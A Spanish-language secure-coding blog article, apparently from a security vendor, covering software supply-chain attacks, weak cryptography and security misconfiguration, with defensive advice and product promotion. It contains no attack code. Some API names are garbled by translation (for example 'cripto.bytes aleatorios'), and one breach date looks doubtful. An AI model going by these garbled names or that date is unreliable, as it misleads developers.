Relacionado con el uso de componentes obsoletos, pero aún más insidioso, están ataques a la cadena de suministro de software ataques a la cadena de suministro, cuando los atacantes contaminan el pozo inyectando código malicioso en los paquetes de terceros que usted utiliza. En lugar de esperar a que aparezca una vulnerabilidad, el atacante crea una manipulando sigilosamente una biblioteca (o publicando una falsa) que los desarrolladores luego incorporan a sus proyectos. Esta forma de ataque ha aumentado en los últimos años, especialmente en ecosistemas como npm y PyPI.

Se produjo un caso dramático en Septiembre de 2025, cuando tuvo lugar uno de los mayores ataques a npm de la historia. Los atacantes suplantaron la identidad de un administrador de paquetes populares como debug y chalk (¡que en conjunto tenían más de 2000 millones de descargas semanales!) y obtuvieron el control de su cuenta npm. A continuación, publicaron actualizaciones infectadas para 18 paquetes, añadiendo código malicioso que atacaba las carteras criptográficas en páginas web. Los desarrolladores que actualizaron inocentemente a estas nuevas versiones, básicamente instalaron malware. El código malicioso se conectó a las API web para robar criptomonedas cambiando las direcciones de las carteras durante las transacciones. Este incidente fue de gran magnitud, ya que puso en riesgo a millones de aplicaciones hasta que los paquetes fueron retirados y parcheados. Es un claro recordatorio de que incluso los paquetes más fiables pueden convertirse repentinamente en troyanos si sus mantenedores se ven comprometidos.

Otros ejemplos: el paquete npm event-stream fue comprometido en 2018 para robar claves de monederos Bitcoin de una aplicación específica. En 2021, PyPI sufrió una oleada de ataques de typosquatting en los que los atacantes subieron paquetes con nombres similares a otros populares (por ejemplo, urlib3 en lugar de urllib3) que contenían puertas traseras. Cualquiera que escribiera mal el nombre instalaba el paquete malicioso. Incluso las herramientas de infraestructura se han visto afectadas: imágenes de Docker Hub, extensiones de VSCode, etc.

Impacto: una dependencia maliciosa puede ejecutar cualquier código con los mismos privilegios que su aplicación. Eso significa que podría robar los datos de su aplicación, extraer secretos (claves API, credenciales de bases de datos) de su entorno, instalar puertas traseras o pivotar para atacar otros sistemas. ataques a la cadena de suministro convierten el modelo de confianza ataques a la cadena de suministro nuestra contra: confiamos en que los paquetes de código abierto son benignos, por lo que los incluimos libremente. Una vez que se traiciona esa confianza, el impacto puede ser generalizado y muy difícil de detectar (¿cuántos desarrolladores inspeccionan cada línea de código en sus node_modules? Ninguno). La escala es lo que lo hace tan peligroso: comprometer un paquete popular y potencialmente violar miles de aplicaciones descendentes de una sola vez.

Prevención: Defenderse de las dependencias maliciosas es complicado, pero existen prácticas recomendadas:

  • Fijar y verificar versiones: No actualices automáticamente tus dependencias a la última versión sin revisarlas. Utiliza archivos de bloqueo o fijaciones de versión explícitas para que no se cuele automáticamente una actualización maliciosa repentina. Cuando se publique una nueva versión de una dependencia crítica, echa un vistazo al registro de cambios o a las diferencias, si es posible, especialmente si se trata de un paquete de gran impacto.
  • Utiliza las funciones de integridad de los paquetes: los gestores de paquetes como npm y PyPI admiten la verificación de firmas o sumas de comprobación de los paquetes. En el caso de npm, se obtiene un hash de integridad SHA-512 en el archivo de bloqueo; la probabilidad de que un atacante produzca una colisión de hash es insignificante, por lo que se puede garantizar que se está instalando exactamente lo que se cree. Algunos ecosistemas tienen paquetes firmados; si están disponibles, utiliza esa función.
  • Avisos de supervisión: los avisos de seguridad y las herramientas de supervisión proactiva pueden señalar si un paquete está comprometido. En algunos incidentes graves, las alertas se emitieron muy rápidamente. Los proyectos y las plataformas mantienen fuentes de información sobre amenazas para paquetes maliciosos, que pueden advertirle o bloquear la instalación de paquetes maliciosos conocidos.
  • Mínimo privilegio y sandboxing: considere ejecutar compilaciones o instalaciones de paquetes en entornos aislados. Si se ejecuta un paquete malicioso, puede causar menos daño en un sandbox o un contenedor con permisos limitados. Además, en tiempo de ejecución, intente ejecutar su aplicación con los mínimos privilegios necesarios, de modo que si una biblioteca se vuelve maliciosa, tenga un acceso mínimo (por ejemplo, no ejecute su aplicación Node.js como root en el servidor).
  • Auditar el código si es posible: esto resulta complicado a gran escala, pero en el caso de dependencias muy importantes, puede valer la pena realizar una auditoría rápida del código o utilizar herramientas automatizadas que analicen el comportamiento de los paquetes. Algunas herramientas intentan detectar si una actualización provoca de repente la caída de las conexiones de red o lee variables de entorno de forma sospechosa.

En resumen, manténgase alerta con respecto a su cadena de suministro. La comunidad está desarrollando más herramientas para combatir esto (npm ahora tiene 2FA para los mantenedores, etc.), pero en última instancia, como consumidor de paquetes, debe estar atento a lo que incorpora a su aplicación. El uso de una solución automatizada para buscar malware en las dependencias puede proporcionar una capa adicional de defensa, detectando el código malicioso antes de que este lo detecte a usted.

9. Prácticas criptográficas deficientes

Incluso cuando los desarrolladores intentan proteger los datos, la forma en que lo hacen es importante. El uso incorrecto de la criptografía puede dar una falsa sensación de seguridad. Entre los errores más comunes se encuentran el uso de algoritmos obsoletos o débiles, la mala gestión de las claves o la implementación manual de protocolos criptográficos (y cometer errores al hacerlo). Estos errores no siempre dan lugar a un CVE evidente, pero socavan las protecciones que se pretendía implementar.

Algunos ejemplos:

  • Hash débil para contraseñas: almacenar contraseñas utilizando un hash rápido como MD5 o SHA-1 (o peor aún, sin sal) es peligroso. Los hash rápidos pueden descifrarse mediante fuerza bruta o tablas rainbow muy rápidamente con el hardware moderno. Se han producido muchas violaciones de seguridad en las que las empresas utilizaban hash para las contraseñas, pero aun así sufrieron daños porque los atacantes descifraron esos hash. Por eso, el estándar del sector es utilizar hash lentos y computacionalmente intensivos (bcrypt, scrypt, Argon2) con sales.
  • Claves criptográficas codificadas o reutilizadas: hemos visto a desarrolladores comprometer claves secretas JWT, secretos HMAC de API o claves de cifrado en repositorios públicos (esto se solapa con el problema de los secretos). Si un atacante obtiene su clave simétrica, puede falsificar tokens o descifrar datos a su antojo. Del mismo modo, reutilizar la misma clave en diferentes entornos o utilizar claves predeterminadas (algunos marcos solían incluir una clave secreta JWT predeterminada para el modo de desarrollo que la gente se olvidaba de cambiar) puede suponer un riesgo.
  • Aleatoriedad insegura: uso de generadores aleatorios no seguros desde el punto de vista criptográfico para tokens sensibles en materia de seguridad. Por ejemplo, el uso de Math.random() en JavaScript para generar un token de restablecimiento de contraseña, que es lo suficientemente predecible como para ser descifrado por fuerza bruta. Ha habido CVE en lenguajes por una generación deficiente de números aleatorios, pero lo más habitual es que el desarrollador no se dé cuenta de que necesita algo como cripto.bytes aleatorios o Aleatorio seguro.
  • Criptografía y protocolos personalizados: «No cree su propia criptografía» es una sabiduría ancestral. Implementar su propio algoritmo o protocolo de cifrado probablemente introduzca fallos. Por ejemplo, un desarrollador podría decidir cifrar datos con AES, pero utilizar el modo ECB (que no es seguro porque no aleatoriza bloques idénticos); este patrón ha aparecido en algunas bibliotecas de cifrado de desarrollo propio y ha provocado la divulgación de información. Otro ejemplo: no verificar las firmas correctamente (por ejemplo, no comprobar la cadena de certificados en una conexión SSL/TLS, lo que desactiva efectivamente la validación y ha dado lugar a vulnerabilidades de tipo «man-in-the-middle» en algunas aplicaciones).

Impacto: Una criptografía débil puede provocar violaciones de datos y eludir la autenticación. Si las contraseñas son fáciles de descifrar, una violación de su base de datos de contraseñas con hash significa que los atacantes obtendrán un gran porcentaje de las contraseñas reales. Si los tokens o las cookies se firman con una clave débil (o sin ninguna), los atacantes pueden falsificar esos tokens para suplantar a los usuarios (así es como funcionó el fiasco de JWT «alg:none», que básicamente decía «sin firma»). Si el cifrado se realiza de forma incorrecta, los atacantes podrían descifrar datos confidenciales o manipularlos sin que se note. Básicamente, usted cree que sus datos están seguros, pero no lo están, y eso puede ser catastrófico porque es posible que no haya implementado otras protecciones, asumiendo que el cifrado le protege.

Prevención: Siga al pie de la letra las mejores prácticas y normas establecidas:

  • Utiliza bibliotecas probadas para el cifrado en lugar de escribir las tuyas propias. Utiliza los protocolos más recientes (TLS 1.3 en lugar de TLS 1.0, JWT con algoritmos fuertes o, mejor aún, tokens opacos con almacenamiento en el lado del servidor si es posible, etc.).
  • Elija algoritmos y modos robustos: AES-GCM o ChaCha20-Poly1305 para el cifrado, RSA ECDSA con longitudes de clave adecuadas para las firmas, PBKDF2/bcrypt/Argon2 para el hash de contraseñas, etc. Evite los algoritmos obsoletos (MD5, SHA-1, DES, RC4, etc.).
  • Gestiona las claves de forma segura: no las codifiques (de nuevo, gestión de secretos), rota las claves periódicamente y utiliza claves diferentes para fines diferentes. Si utilizas JWT, asegúrate de que el secreto o la clave de firma sean lo suficientemente complejos y se almacenen de forma segura.
  • Para valores aleatorios (claves API, tokens, nonces), utilice generadores aleatorios criptográficamente seguros. En la mayoría de los lenguajes, se trata de una función específica: por ejemplo, crypto.randomBytes en Node, System.Security.Cryptography.RandomNumberGenerator en .NET, java.security.SecureRandom en Java (con una buena fuente).
  • Cuando utilices bibliotecas criptográficas, lee su documentación sobre el uso adecuado. Muchos errores se deben a un uso incorrecto. Por ejemplo, si utilizas PyCrypto o el paquete criptográfico de Go, asegúrate de proporcionar un IV único para cada llamada de cifrado, no reutilices nonces, etc. Muchas bibliotecas establecen valores predeterminados seguros, pero no todas.
  • Pruebas y revisión: Incluya pruebas que garanticen, por ejemplo, que no se pueda descifrar fácilmente una contraseña con hash o que los datos cifrados no puedan ser manipulados. Considere el uso de herramientas como linters o analizadores criptográficos que puedan señalar algoritmos débiles. Existen reglas de análisis estático para detectar el uso de MD5 o IV constantes, por ejemplo. El escaneo de Aikido puede detectar algunos patrones de uso criptográfico débiles (como el uso de funciones hash inseguras) y le alertará sobre ellos para que pueda actualizar a alternativas más seguras.

En resumen, la criptografía fuerte es tu aliada, pero solo si se utiliza correctamente. Aprovecha las implementaciones y configuraciones verificadas por la comunidad. En caso de duda, consulta a expertos en seguridad o recursos para conocer el enfoque adecuado, en lugar de hacer conjeturas. Dedicar un poco más de tiempo a configurar correctamente la criptografía puede evitarte una grave brecha de seguridad en el futuro.

10. Configuraciones de seguridad incorrectas y valores predeterminados inseguros

No todas las vulnerabilidades provienen de la lógica del código; a veces es la forma en que se configura (o se configura incorrectamente) la aplicación lo que abre una brecha. configuración de seguridad incorrecta es una categoría amplia, pero en el contexto del código, nos referimos a cosas como dejar habilitados los modos de depuración, utilizar credenciales predeterminadas o configuraciones de muestra, mensajes de error detallados que revelan información o no configurar los encabezados de seguridad. A menudo se trata de simples descuidos que pueden tener graves consecuencias.

Ejemplos:

  • Dejar activado el modo de depuración: Muchos marcos de trabajo (Django, Flask, Rails, etc.) tienen un modo de depuración/desarrollo que nunca debe activarse en producción. En el modo de depuración, los marcos de trabajo suelen proporcionar páginas de error completas e incluso consolas interactivas. Por ejemplo, el depurador Werkzeug de Flask te permite ejecutar código Python arbitrario a través del navegador, lo cual es ideal para el desarrollo, pero si se deja activado en producción (y si un atacante puede acceder a él), se convierte en un RCE instantáneo. Ha habido casos en los que aplicaciones Flask mal configuradas estaban conectadas a Internet con el modo de depuración activado, y los atacantes se hicieron fácilmente con el control del servidor. (Este problema es tan conocido que los marcos muestran grandes advertencias, pero aún así sigue ocurriendo ocasionalmente).
  • Credenciales/configuraciones predeterminadas: Algunos ejemplos son dejar la contraseña de administrador predeterminada como «admin» o no cambiar las claves API predeterminadas. En el código, tal vez utilizó un tutorial que tenía un secreto JWT de muestra «secret123» y nunca lo cambió; vaya, eso significa que cualquiera podría falsificar tokens. O un SDK de almacenamiento en la nube podría tener por defecto un determinado nombre de depósito o regla de acceso que usted no ha sobrescrito, dejando inadvertidamente algo público.
  • Mensajes de error detallados y trazas de pila: si su aplicación muestra trazas de pila completas o volcados de errores al usuario, un atacante puede obtener mucha información (versiones de software, rutas internas, estructuras de consultas). Esa información puede facilitar otros ataques, como la inyección SQL (conociendo la estructura de la consulta a partir de un mensaje de error) o identificando qué versiones de bibliotecas utiliza.
  • Encabezados y configuraciones de seguridad: No configurar tu aplicación web con encabezados seguros (política de seguridad de contenido, X-Frame-Options, HSTS, etc.) no es una vulnerabilidad directa en tu código, pero no mitiga ciertos tipos de ataques. Del mismo modo, permitir que su aplicación se ejecute en HTTP (sin redirigir a HTTPS) o no validar los certificados TLS si su código realiza solicitudes salientes puede considerarse una configuración incorrecta que da lugar a exploits (como MITM).
  • Permisos de archivos/directorios y cargas: si su aplicación guarda los archivos cargados por los usuarios en un directorio accesible desde la web sin ningún tipo de control, un atacante podría cargar un script y acceder directamente a él a través de una URL, con lo que habría ejecutado código en su servidor (así es como funcionaban muchos exploits antiguos de PHP). Esto podría considerarse una configuración incorrecta de la aplicación (no impedir los tipos de archivos peligrosos y no aislar las cargas correctamente).

Impacto: Las configuraciones incorrectas pueden provocar un compromiso inmediato, al igual que los errores de código. Por ejemplo, una interfaz de administración sin contraseña (¡sucede!) es básicamente una puerta abierta. Una consola de depuración que se deja encendida puede proporcionar acceso al shell a un atacante. Los mensajes de error detallados pueden ayudar a los atacantes a encontrar una inyección SQL o un vector XSS. Por lo tanto, aunque las configuraciones incorrectas puedan parecer «solo un ajuste», pueden ser tan peligrosas como cualquier otra vulnerabilidad. Por ejemplo, según se informa, la brecha de seguridad de Uber en 2024 comenzó con una herramienta de administración expuesta sin MFA, lo que constituye un problema de configuración de acceso incorrecta.

Prevención: La buena noticia es que, una vez identificadas, las configuraciones incorrectas suelen ser fáciles de corregir. A menudo, todo se reduce a mantener una lista de verificación de configuraciones reforzadas:

  • Desactive los modos de depuración/desarrollo en producción. Compruébelo dos veces antes de implementar. Muchos marcos permiten una variable de entorno o un indicador de configuración; asegúrese de que esté configurado correctamente. Incluso puede incluir una afirmación en el código para rechazar la ejecución si la depuración está activada en un entorno no local.
  • Cambia todas las contraseñas y secretos predeterminados. Esto es básico, pero hay que insistir en ello. Cualquier cosa que venga con una credencial predeterminada debe cambiarse en la primera instalación. Si utilizas cualquier tipo de código o plantilla que contenga claves o contraseñas de ejemplo, búscalas en tu código base y sustitúyelas por valores seguros.
  • Maneja los errores con elegancia. Configura una página de error genérica para los usuarios. Registra el error detallado internamente, pero no expongas los rastros de pila a los usuarios finales. Además, ten en cuenta qué información devuelven los errores de tu API: no reveles datos como consultas SQL completas o rutas de archivos del servidor.
  • Aplica encabezados de seguridad y mejores prácticas. Utiliza bibliotecas o middleware que establezcan encabezados seguros (muchos marcos de trabajo tienen un módulo de seguridad que puedes habilitar). Impone el uso de HTTPS y utiliza HSTS para evitar la degradación a HTTP. Si tu aplicación necesita permitir iframes o cross-origin, configúrala deliberadamente; si no es así, establece X-Frame-Options DENY, etc.
  • Gestión de la carga de archivos: si tu aplicación gestiona la carga de archivos, almacénalos fuera de la raíz web o cámbiales el nombre por extensiones benignas. Valida los tipos de archivo. Y asegúrate de que la cuenta con la que se ejecuta tu aplicación solo tenga los permisos de archivo que realmente necesita: limita el radio de acción.
  • Configuraciones de plataforma actualizadas: mantenga actualizados su servidor de aplicaciones y sus dependencias para beneficiarse de los ajustes predeterminados seguros. Por ejemplo, las versiones más recientes de los marcos de trabajo pueden habilitar una seguridad más estricta de forma predeterminada.

La implementación de análisis automatizados para detectar configuraciones incorrectas puede ser de ayuda. Herramientas como la plataforma Aikido pueden analizar su aplicación e infraestructura en busca de patrones de configuración incorrectos comunes, como buscar «DEBUG = True» en un archivo de configuración de Python o comprobar si su sitio envía encabezados de seguridad. Estas comprobaciones suelen formar parte de un conjunto de pruebas de seguridad de aplicaciones.

Por último, considere la posibilidad de utilizar infraestructura como código (IaC) y canalizaciones DevOps para aplicar los estándares de configuración. Si contenedoriza su aplicación, por ejemplo, puede programar el contenedor para que falle si están presentes determinadas variables de entorno (como un indicador de depuración de producción). La clave es no tratar la configuración de la implementación como algo secundario, ya que es una parte integral de la seguridad de su aplicación.

Incorporar la seguridad en su proceso de desarrollo

Hemos cubierto muchos temas, desde las inyecciones clásicas y XSS hasta los matices de ataques a la cadena de suministro los errores criptográficos. Si hay un tema común, es que la codificación segura es un esfuerzo continuo. Se cometerán errores, surgirán nuevas vulnerabilidades en sus dependencias y los atacantes seguirán buscando ese descuido. La mejor manera de mantenerse a la vanguardia es crear un proceso de desarrollo resistente que detecte los problemas de forma temprana y continua.

Esto significa adoptar prácticas como revisiones de código con una mentalidad de seguridad, actualizaciones periódicas de dependencias e integrar pruebas de seguridad en CI/CD. Las herramientas automatizadas son tu aliado en este caso. Por ejemplo, Pruebas de seguridad de aplicaciones estáticas SAST) pueden analizar tu código mientras lo escribes, señalando patrones riesgosos (cadenas SQL, llamadas a funciones peligrosas) antes de que se ejecuten. Los escáneres de dependencias le alertarán en el momento en que un nuevo CVE afecte a una biblioteca de su repositorio, lo cual es crucial cuando los exploits se convierten en armas en cuestión de horas. El escaneo de secretos puede evitar ese momento «¡Ups!» en el que se envía una clave API a GitHub. Y los escaneos de contenedores/infraestructura pueden garantizar que sus configuraciones de implementación estén reforzadas.

En Aikido, creemos en hacer esto fácil para los desarrolladores. Nos encantan las herramientas de código abierto como ESLint, Semgrep, Trivy, etc., pero también sabemos que encadenar un montón de escáneres puede convertirse en un quebradero de cabeza para los equipos de desarrollo. Por eso, plataformas como Aikido integran múltiples comprobaciones de seguridad (SAST, SCA, secretos, IaC, escaneo de contenedores) con reglas personalizadas y capacidades de corrección automática, para que obtengas una cobertura completa con una buena experiencia de desarrollo. El objetivo es detectar vulnerabilidades reales con todo el contexto e incluso proporcionar correcciones automatizadas u orientación, directamente en su flujo de trabajo. Por ejemplo, si Aikido detecta una biblioteca vulnerable, puede sugerir la versión segura a la que actualizar (y hacerlo por usted). Si encuentra un secreto, puede ayudarle a rotarlo y evitar que se repita. Esto reduce la carga de los desarrolladores de convertirse en expertos en seguridad en cada vulnerabilidad: las herramientas le ayudan y usted aprende sobre la marcha.

Como desarrollador, tienes el poder de hacer que tu software sea más seguro para todos. Empieza por tratar los errores de seguridad con la misma importancia que los errores funcionales. Incorpora las principales vulnerabilidades que hemos comentado en tus casos de prueba y modelos de amenazas. Y no lo hagas solo: aprovecha las herramientas y servicios de seguridad que se integran en tu IDE y CI. Puede empezar por ejecutar un análisis gratuito con Aikido o plataformas similares en uno de sus proyectos para ver qué encuentra. ¡A menudo es revelador! Configure estas herramientas para que se ejecuten en cada solicitud de extracción, de modo que los problemas se detecten pronto, cuando su solución es más económica.

La codificación segura es un proceso, no un destino. Pero si conoces estos tipos de vulnerabilidades comunes y utilizas de forma proactiva las prácticas y herramientas adecuadas, podrás reducir drásticamente el riesgo. Creemos código que no solo sea increíble, sino también seguro por diseño. Tus usuarios (y tu yo futuro) te lo agradecerán.

Continuar leyendo:
Las 9 principales seguridad de contenedores Docker    
Las 7 principales seguridad en la nube    
Las 10 principales vulnerabilidades de seguridad de aplicaciones web que todo equipo debe conocer    
Las 9 principales seguridad Kubernetes y configuraciones erróneas seguridad Kubernetes    
Las 10 principales vulnerabilidades de seguridad de Python que los desarrolladores deben evitar    
Las 10 principales vulnerabilidades de seguridad de JavaScript en aplicaciones web modernas    
Las 9 principales seguridad de la cadena de suministro de software explicadas

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.